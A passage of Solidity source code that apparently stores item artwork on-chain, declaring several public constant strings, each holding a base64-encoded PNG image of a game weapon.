string public constant weapon12 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAwUExURUdwTNDakTQcJ4hLK2AsLOjBcL53K9DakTlKUCAuNxAUH3WnQ6jKWEaCMldyd4qtYC1kyXIAAAACdFJOUwB+wS6RAwAABAxJREFUaN7tmL1uE0EQgNcLQiI/ku8BEGZvcQGd93BHcz75BbDzAj72Fa6IkSiBAlEmKVDK2JW7FE6RzoWDxJ/khvR5A0qYnY1/7hAStzdCAe0U+VU+fbMzO7sbxnz48OHDhw8fPv7T2P1IDFy8IBbMZrSKu8Ps419IeUJdlAlxobbnpLQp2xmaj2TA4QSAZ/t0wNl8ew4f6HIGuQloki6ieFxxCS/z3/JuXAEWBMFuYbfINK7EC77P8tulqd2BNQQOC8CWqCQY3C+kLMKkUUUwCH7Ucz8N285AgNWRmi+KrgCs71yc1wpA7gwE0vYsG06MJxGwfpZl2bxWAA7cgfdm2TQbfioAo9gZuJPtT0+z8wIwjCoAp9PpL8B2FN8IIGyPVcqMALgLG3hVFArgIrtkteu2yW89rhLhZLj4LK4buzBgY7c1XGQvkge49eoFoFQunQ3Xmq8thsOh+KvQaavAxetLAwcOowHCPan1m9+4AfnTL43fnHtuwDBtbaSfOwRCl6Lwdmf9R4v8MRXK2B1YM9N1kT9IhYthmKrG8piqF1MeOAFbq3M0KBRFOgAh45YVxKOKFYDlJyzXCATexQUr9jZ3AIYItKfU9SHFN8ZNeWAzVQiEaWPGjQHKFYTfKt/WzZ4BBsG3bP80+4A5S9frgq2JBdZhYsPIxoEjq1wzuV4C96fTUyIgLDwh8HlPDRq5lHlEAdwoSlVgvwPAzbapCOwDMM41trRAIZyB2lRltfV4B4EycrvKIRAaZz0cpMLnThglKMod1rA9QEUcXyBogXAko2JZIHvY7ymt4usBC6D2AIEwFxIz/52AoCjsEcAErCi+n8BUwWJyUXYlm7CIoBhhTbnotNOufZBJBZEkpYsNVQFFQ4QAiO7qFKWMopF0ABpFrWzowRJoFVVcNmcoc79niIjUsIJLIJdOQKgKEi1ukHT16k2LxLj0IkJVgJhYZAKm60cyT8waivKtbZEm+tpkLGSCicJnqLJL46zDCAqDNk0thQ03xSUwFU1TILOTeRILB8NNxT0QhL4BQ7wmSSS6DNk1MJVad6DTdbRUdJhizY2M46ZOVRu+xHuS4z8x+Iqo40ZXY5v391SFk4ALbTOG/EBQKSHb/WdVjha2apDbAIzEMcyd566P5Xzc2euoeDw2k7FHAmwC8NF4dGyIMQXwYb8TjccHR1WvJJvA1tbo9etj8xilArLRK1RskAG33qIiIwOykytUpIgQgYSKHKrcoFTkT3rmqUaoGPZwKlAq4tOKVBGnAqFiiDdDykLbfw4T9iLHyU+5XWwQKtrwil7RK3rFf1xxRK743it6RVfFd9TbhdHG6CXz4cPHH8bdm6+4dTSm5Y0OD4jn4uHhG+q5SKx4cvUXFX8Caf27NB4MmWUAAAAASUVORK5CYII=";
string public constant weapon13 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAABLUExURUdwTBUdKDlKUBAUH+FjQUEdMefVs9c+SCAuN6knNO2odVdyd3UkOKUwMCQVJ2AsLIhLKzQcJ753K96eQejBcIEiUUaCMnWnQ9DakQKvrHcAAAABdFJOUwBA5thmAAAKzElEQVR42u2biXLiyBJFVYuoRQJJmO6Z///SlzczSwvgacwAqhcxFb1Y4LAON/dSuWn+W/+t/+sVaucLdZOHygHDHcDwR22rAQy7g17x+a1pQ0g7A4YCqP975fHebwBDBXyioOcL5fNhZ8JQAAunnwHlYhfAcAsYNoBFQOb7OOD6VsoXrvmCGpgBlXCXmA1CMPMxYFg80IfMgGmHqsaO5/0/8QHwAMDk06ftK44nQeAXVfkFX/hwyYD+k4BLagmKU/BIKGb1acZZANMHAZUPeN4vfAC84muaA+eZw8Ef3sOTQrqxcKkYaswVX4KcGz4PQOI7vIcvXfM1fpVPmI++Iy3fDWC9lhg6HCiKCc+H9Bb51j82zIAlwbF+qdnw6bW4qs9EdmC+twMW3ZbC61dyNVrdVM7yTRCQ+d4EeIfPqzQlvaxTNuy9yeQqYFgK8lsEJN9PjdrVZwSJhsYGj+UL2zqoHhjexsfZlaMAt00++5xzKPKVZKx4OW9qsipYysx79AMg+HBj8IXsJZNs8SAtk1+piiAJpdCkNwASjvAlLgYZGS5tHW8GyTk113yNsr0HkEgyvApICphTujceKV+6mTsELr8pREjADOlQvkgc5mTAO3yF/bYvy5ID38IXWED646WIfYMnAq6lLcGvfIf38C0CCiC+uN8S3+HjDpXwVL93NDIA5KKBoOBM+N1dYOCZL+LzqGrgy/zV6se+1MLMRx5I943fisAOyCmQ+YLwMSP4/JbvkF4noAJCwGhpxbul0K/5OHWSaHiFX/ZXfPl1gFy5PEDpwrl4h1C7BcnQ88dCdct4ddMp6tuH/DrAhHEMnsdJkBEXwhijDZ7TzoIn4VvU836JeY41Wq8TUAAPzMdTY0pMOAyMN47n85nTd8qreReRzsJJGzaHVUK2weXrBERexrTTCCDfiQjjMBIh450T2zaluP5QKbNt0zrqIRxWxgduXgl4YECmaBiQ+AhwPH/R4ixHby2Gz8qRNniNFhOPH5deWkioU8LPL3wD840D+Eg/ycIhjKMQKt4hGxtNmaA4Fxy4YaWU89p8nagRTis+AoR+xHeR8GQ8sjBcM6aCl03srPR/UhnTQaI6vLiesONQi4D+TwQchrPyaR7OEjuSf4UuN0K1rBXfa+sxB57op3wj+IazX/HRm9Y6x4A5ebWp1LgDp5+UhS+9vB7DwofAyWHhO58H4ZNiwUBkYUcBnZhPKm8oHyGt+V7eKjCGfG4od+a/lyIg2r80MmHEvgtSi/gh17qCiKQj7fjLexlPfNIlKx4lP4oSVZBwxtHQi2OEfhSkBVyHqpxLSb5q0tr1+jd1JEtGI74znO+Mf8/aS0E4wqZ6h38SlzahY//T+ChOkDZwx7J6Wk8TMp588GFgBREg0j944TPGcI9jnS+AWXL3KoTbrWyFbb58lnDhI7bL13mU2htQEETAQhfhgQAsUaurvbNIMYUDMiv4JGDyykd4XxfC+7pchI8X8JgvGix2wXTwkreT3FdvrBdtvyxVUG38HCGXpaaZpjO0A97laxwLYHKER8sIZmJA6isk4tvCpIzLZStwGx98DhD2oi56QmCcYdsvlGBOPMg7sdDxFoPMfrxBRKgbwPYqYEW3tcWfJPScRih6v9j7Rg6TKUk5I0CDAmd0r5Lrcg6SoAMo5Kb3M8n6WgiPTwAGEfAM7wMbIJGSeVSj7j/xJuCCF7R+JGuKgH+8xyps2if7rOGC2iE+SFIyn8zuZd6QacSL4BzZ1pgH+Uq4cMj8vMphTwu1g01MfGe/lC/NKTrMeU3Pko0J8Qf6kYISLe1PAUv9vfz+6ze1pxKj364so5XcGRI+fL+F8CeIw5D0AZH//fdfI3cBaWaR+pqv6Shq0HWR6Uzs48P3aufU+HhhHr4wFnGqyX//Hv3cvWT1Om0IuAktdQOp0RgHBamfNs2PCOe0+BDi8JW+xtnjFtdLJWbntoD4OlQ6yyOIEwWbpisTycNW7n/SO1BcpGVv5bA0nvNakksgPEPzfNwgmWh+RNjMsfKQkSdKepLh8ipspwl5WlOicMaygIiiXPg6Kn/mh3mDA/oxH5xQdnmDBfUhc0c3Ed/INY97mjGKclhSk53UPhWws515or626wL+z4AXKRyy85IG5ZPFlNxkKaPhr0rzwBJ28RlAqZF/9MKJkt/lwlJdkGDANE10RZ3NeEbnz5hMGFVFB1ZtcAD4HJ+G9AOATEh8lwlrENkmVL3p1y+eTWzXrTR0SC/RcaIhtNiZZwGbR8Jk4s5ltVgyChKaOicDQmLsFkKjhMuyTyv42Jqm4ZpxKnyUQPCetSC04n1E5zaaRdu8eSmiMhLGBC8cCRBIv35hn7BTEeF7rilJ+mNrmhkdhBK+wUSeQ4jHgtAqYTQfppsZafGmqmO+cZKNdMcbmdZSPgYhMsw+hLJjufANhvGYxfFEx9tunF/2BCQ+me0mTnzl9U4IS5J2uwo4cV89rSPBkXktA7KE1u0p4MCAw9VbCGIzA+7jhSqgAE7NDWHUVoEGkeh2FPBbQBvjrhLOfAAc7gN2BTDuAkh3nVBPCHC6eRc+OANuwyR+BpCTxyh83wLetfGnAJ3MKHdieAG8Z2N66TMm1ikKOXD6FlBztV1sLH3r3guZmrKLXSQUG8u+ZjS7IyKIkae7zq5tbGwnRXB3QgCqhJZzNUtoOu4TrTT/OwNaBiRCFBRMdxbjp3SyZn8J0XBZ1DjiMdL2g5D5QLh7oDAgTNmtCMnWMDA74d4SylwC1yuASuh0i70GCSFedDNg4wRR0sz+gORyIHR2BpQ9OGlxTNkJ2VNCdsBIhDx6lt0teT5mducjCQ3SMghvAKvIhNhPIELKg24N2Bi77HTtLyEqLwjdeoe1qWW58syTCsmpqXE5ed6JkDhVSsgiwtRtpYScnKFiWy0hSgqJ2BNhUzGhOfX1Ssg1pQVhtYB4wlkzYOP6Y3+qmK9xzFcxYH88Ic04VyvgsW+PRLjjVvAfFoXwsbXI2JUSnlrSMPKD4joJWUBsCJtKjUwKEiA/O6lVwgJYrYR95DmZJHSuxmxzajvelrG8P1OjmTG+R31EW2WonJxsGvHWTI0SnlongOKJ9RFSLZ41xFZIfYDUDS6EeGrrKhMQ7aqcAWEbu8oC5YRjQ6embBtysqmK8NS2Cmh4458Ba3JEAPYnmU/4yYSzdfVeJ5xeO+mIhxOOALSuriDRyd112KxxeMxTkYQ3gF1d6Zo7agGkLIODBHUCgtDxQQF5llOThQsgjlrwrmtXVU9DM8kKUH5Lp6oJ6nS8B1gR4QrQKqEr5zNrccE5SKx4YXT6SzE1ICrgcSbs5ASuPnx3VcQIAPuSCeV0ZleebbsaXPDEvyQntaQg2vJwG2dI9wUk7fALVdovcOfKhHpAwJl9u8MbQIaUk/7yYNFZuyMh15G7gDImWzn5Y3aNkVtAHCOV0+BRjv7snKZvAeVozUy4bxC39wA3hE0VgMf2DqHdna//FrBxBXFnARWwv7axInY1tDKne05YsvbugOgSvgWsoRlkQDzNqREQjyAWwAqfKLKAfeWA/fHE/x/7+mzMWRC+B1Mfj1UCotkXwP5BwE+em2IXZEDMJI84ocPR3I9NpNxqwQWlK3wAkA+Ff46Qy8gRgI/aWEZ7/a1L9yEL96fZGx8B7GQUwPnDdxOKXRWw7R8qdvK04jnC/wGPvLQAFXJ+MgAAAABJRU5ErkJggg==";
string public constant weapon14 = "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";
string public constant weapon15 = "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";
}
contract Weapons2 {
string public constant weapon23 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAkUExURUdwTFiAeiAuNxUsPtHZ1DpWVYefl00rMiNaVS+JWYhLK753K2IH7AwAAAABdFJOUwBA5thmAAAE0klEQVRo3u2avW7jRhCAF7tPsJGpmp6AIOVr6KyknjDhXpT3esM+PQAbAUrHympdkV3gRsC5CdIYuLxcZpekSd0BB4QzxRUe2O2H+f9ZUYifiIxgfl8UoeCSKAALAHxACVDEJxCMAlDuQ17gCViBQn4tuYEnZuDpVDIDgRl4KFnTRgjmPEQgs8kCYm7goeT2YSlZiwX2EOmCMW0AOxhjRxQQYYsNORXkbdk4A3hbNs6AAoGc/RWFtyECf6XsuVt2zD1U9tzAkl1Dbh8e9r868Ip7MHNPKQkck96M04YBqB7OgeShsk7HeXiiD5XrlHeoqPuUd6iMgSxDZR2kvENlBOQZKuvAjIYKHah2ejseKklFjskYKGBRAytQHhMicP0dsF7wAqE6MgOTmpqGWs9GpVItKqBmjR4yWyRVQgyKutXavgPhCfCPZLPKByBAgwrWNOD6HQhwbCpAH5YhpfqWeaatQZFPTYP2hklcwiaYruQyy7VFSeWxaZq6khBHRUTRMEOTNaai0/CpQms3u98ocXZATBwjnIbYaOByF5Aa2DJHJ7pMlL5VQxEROyIC9ZDacuNwpLxxUQ4GINLiExGItTwUXwsUpKDkeqv7seJKL/5K2m6cDw2mjfHqYd5IMjALjNXB1pgUeYBuPBCBqJ1FIhYLVC4cVGDmlLN39wECfXjxmKIBLbrPfM7eI00Gbrsu9g4URKDnqItstDORgDdt474bAUmy7Bbs61wzATvMigvYb+zoxC0LsN8N0YkzViA6kQeYdv/oRJ4wI0R1mcgUlT4u6MSzqCgzfV1Ku5oZO1GtHyYr2AHPnKiud9OB3SWlRqmtrue7dLLFPfDuvneiWunpCuLG2emy7p34+2ozXcHR4bO6bZ2oVpagIMakB6pHbzzyUEEC8DbrNljsD7OWpwkWu8EctCqqOTZZz9M7GtDPKXekZXrmeRQXIvAiDzwRTyAUxyMC3TqHRExI3QvBYuX3Q0fEcA/AkAJsV87PIx4VmOnvZU4yOdfMwB8V1JodOCMDAy4VHfAic4t7Jxb3z83ZUf4/gY955i4LMyhnVrjRTic++jCbtoZd6WGOI9FOdqO/zWa4ZnfEmbVGuXvXUIDbFVaebX04HTUcKgEy1BqbQ2AC6w4MKtAHQO1cNRtr6pAEXOf9PHbPD3hjHInPc5iID0NKBts/kqSiAm+G1hikMmnIwHR4LpjhrdfQXr+wVM6AAo7EJ8nl7QiYuve5Z5rN3enzDpRwfKI9Vt2MBqArYLSZ5sQx0Nu8oMV5+PXDlTWqSE6c9OwNxz0JHeOQCZi1NidXPD+5OqCPSvLphRcIn95CLqBPRLj6xgTUHTD+t2QCzrr3r1eWHyAHIBy+8QAzb3GYwJ7F5qUfBjJBYPzKkTjtPdoC/+RInBbo3rIrdGLpjKcC0xa4qDBxXkRkOYAyccAQbYbNFyrwRnTAOoTDPzAPBAMQEkBgJfeRvaR+GuSfrRAoFs2zBKuLkAHoXrJFUtci2nyhBtm/MrXA51raecECdEQBz5VEBcnfE3SzwAMjWzB1WY+sqsuCqeN0QIgsU8dpgU4kU5d10nIYbW45cv+3YBUZ/8ULFDEzj/bi/iEf8iG/mLBX9IH7k++3l5AVCK/MKsqrN+BVMT795Ev8/wAdB1hLteZYzgAAAABJRU5ErkJggg==";
string public constant weapon24 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAtUExURUdwTAkKFCU6XnO+0zxei2AsLKTd24hLK753K+fVszQcJ96eQejBcKjKWHWnQ0VRzUYAAAABdFJOUwBA5thmAAAFOElEQVRo3uWaP08bSRjGPW2qHZ99REhI8bBfANZyz3o/QFyM1rJD40Nbh2K1K8iVaOcOFOmKFC44HcU29Agku0Wg2E0KCgoXV6S4Jp/h3hl7gbtclfdBinSDaH965v0/77pW+/rUla+U8mqwU1eb3zmw8f0Dw2cBtnBAEeGBIRjY3QYDIzDQ//8B1bMAgamCB4bPAfShQB8ObCs/hAKD5wC2gJkCB6quUhEwVRrPAwTGDQFDqJsbIfUALHBzG+rmus09pFdERLmnItydqe0FSvk4idRUbGcGSmzAJUZRl6zoA/1MEtvINiAscRvaV+rOjNjmTJ4GAuktELWhQKFUAAWSxC50dHfvnxAJFOFmiAX6m9tgYLTNy2Yh5b9KBA8oG0Fbev8AthlAIbudJAl2niDrUcDopY0gcYeQT4Hf7pWkOj+F8vFFxeilUkqqqpbYrq4p/C6vl8qGq9NR5QkL9JlxE9EM8jAzCMUFksioM3po8VQSfXZ5aHSTUSVRuP2N5BFF1CHiUiJljjtciZ1kJVFWx+NJDMiMBLT61rXWZ1yNjSBI6M6elKV2Z8DU2OgGHZoZnDpNrOZS5LcjBQFHfmhBKxOuD1i3JmBARlzXvQcjNgecO1ugNaJ+OANZnvHcbI2olkYcLC/9mulmm3+eaFY8KblAujMNDbK0trOdhh2IK2Czcq5gJp81omoJfh4/urmDHA0dcAQcaywwgAIjMNC5GQ7cQ74d8cBVecDGzTMAd2yfAgL9Hdv3/kAFYickIBXCHsrNFVDbaBQeAGgjm+pN2UMC7exQyq+GeUbuVT2UOTC5yKZUofJP84NrLK/5cbNKFUHAHjnb4wdiuASuu05/BgjEkZuGqZeekUCEV/bckGhbKQ0O9Vd8YOJK7Ivl+KAUrICV1ob1UAHKQ+ju/MIOYX70CuEVkkjOOKNJxA8xRbt6VAiuT1YSHbGFqbH0+CaJjqhAVfsJ0UMSR7ivpMI6JkhGPmzl7mYcS4QttJ1EmzEwiQ5oX0HQO6+qBCwYrUSYEe322fYr3JgjpSUmwH12TdqkRgLd8xkKtM9n5GdNB9xDLjptMI6gm9MGNG5WWxKoEd2WJGx51b7NQ3hl5FdVtpl6CK9QfVheWsSFB7lzJbGZ33g1oEQRT2Zva0CJIocAHyU2D6cI4INEGR9jgJVEAs5nbwGhWElsphMCbiwkSGIrJuCNvD/1QFZs5ul0frEYn0qJSRcHTO/Hi9jsQySu5emb+e74tJlPC4TErf5x+ma2O/4zPpncIiRuDWfp8OZ+/DmbTQ1C4tYhAa8d8NYYQCzuvLvV/YsxAecGoLAm1k4utUktkATuA9JlbVroO30/vkuzLNtY8IEvp0X6wQLjLOsh0uXlPDO/H1Ac0nNyY8wHivy2b94TcLz48uWv8W8A4E2fvFvej935VAMAY3M8LX92vNNPusd0tHh3qWeT+Ue9sLzFmikyHtIC5xfzeRkT8U7n5niSsbq+yK7S+fU7c1DuLnSfcBNTSJ4Nj49OrjNTHJQOd2UK3jZH5NnRycfz8vD9577FmSLl9RbRnxTDX3OT//LBZHFuTMpdNxGwH5vCGJsqOk81s/mJ4dVtSgKNOVp+WeLWGzG8PCkG5+d9o2MdZ5q9VBTDrH+ZpYNzrTP667ELougPssNUZ1mapXHKF0jAMiNeGtN19b6UO2yFg5gum7p/KSV/WSLO6cSrD6Y/Jn6b+3YR8sn5oaO6oYQR6zSXkETQzsmifbs46IY4Yn050uJ+XGclJqMQ+OM6kmi3gf8h8W/WpPqiwH211AAAAABJRU5ErkJggg==";
string public constant weapon25 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAqUExURUdwTCAuN2AsLIhLKzlKUFdyd4GXliVWLsfPzEaCMhkzLdDakajKWHWnQ0jfSRoAAAABdFJOUwBA5thmAAAEYElEQVRo3u2asWokRxCGu99g/9peNu7qJ9jpTNE1VDsXdA+bGuRB6UXLyBcOh1JFy2I5EAqEdQ8g8Dk/zn4Cv42DuZXuAoOZKbCMtx7g46+qrq7qmjHmZCc72clO9o8MC12e3d1o0oD1n72eREvM658VgRRiXO/0gFZEaNPrxdB13UUKelm2udZOKHo1YMWqvVAEunPjapeCGnC1MMhtYj2XjYFrE0OxUsi1yasCPchrXg6WWdVjY4n1cmKMMS4haAJtLqBGM4aA0ZVojLHLjXJP0fXZGIOo3aX+A0F8/VnRBlr9NL/+c6MMNPrAzf8NaF8/kF890GsDoQ0k9RgqX4h2qX0h6gPD6wViNF5oHcBau67rKqAyxsLV7mg/YP4LDbnruq4WERFpu+58MdPd3P0gIiIJgBOp3feziK52ZYRRiNHDSa5p3ku0pBE22gaSy2KOwGtZxm8MktMMgVtJDR9ZDTNzhEyX6OogS+bwTGNmZkyWaPNWCgH8DY/ZpekRzAXrnuILDAD5yQq3Q654t78Jo0A/1p6dWoEWW5Fc+k83IUZmfqk6TE+JCHa7G44xzn/f2noptQDrAzjGZv4s5+p1rmAPgENUaFCr+j6fe0QGMStsbWzeDpniBtGHqCHQ1q2kwBxiE2NU6PG2XktqPHFsYvzSQC1mXTSDkAcoNM8CMWfX4tpByO923wDn9L3Vdii0PvRvOSoBLy9q6j/v9/QcQmNn7KtsvpZ63t/u98QvwBnrIJvfS067w25P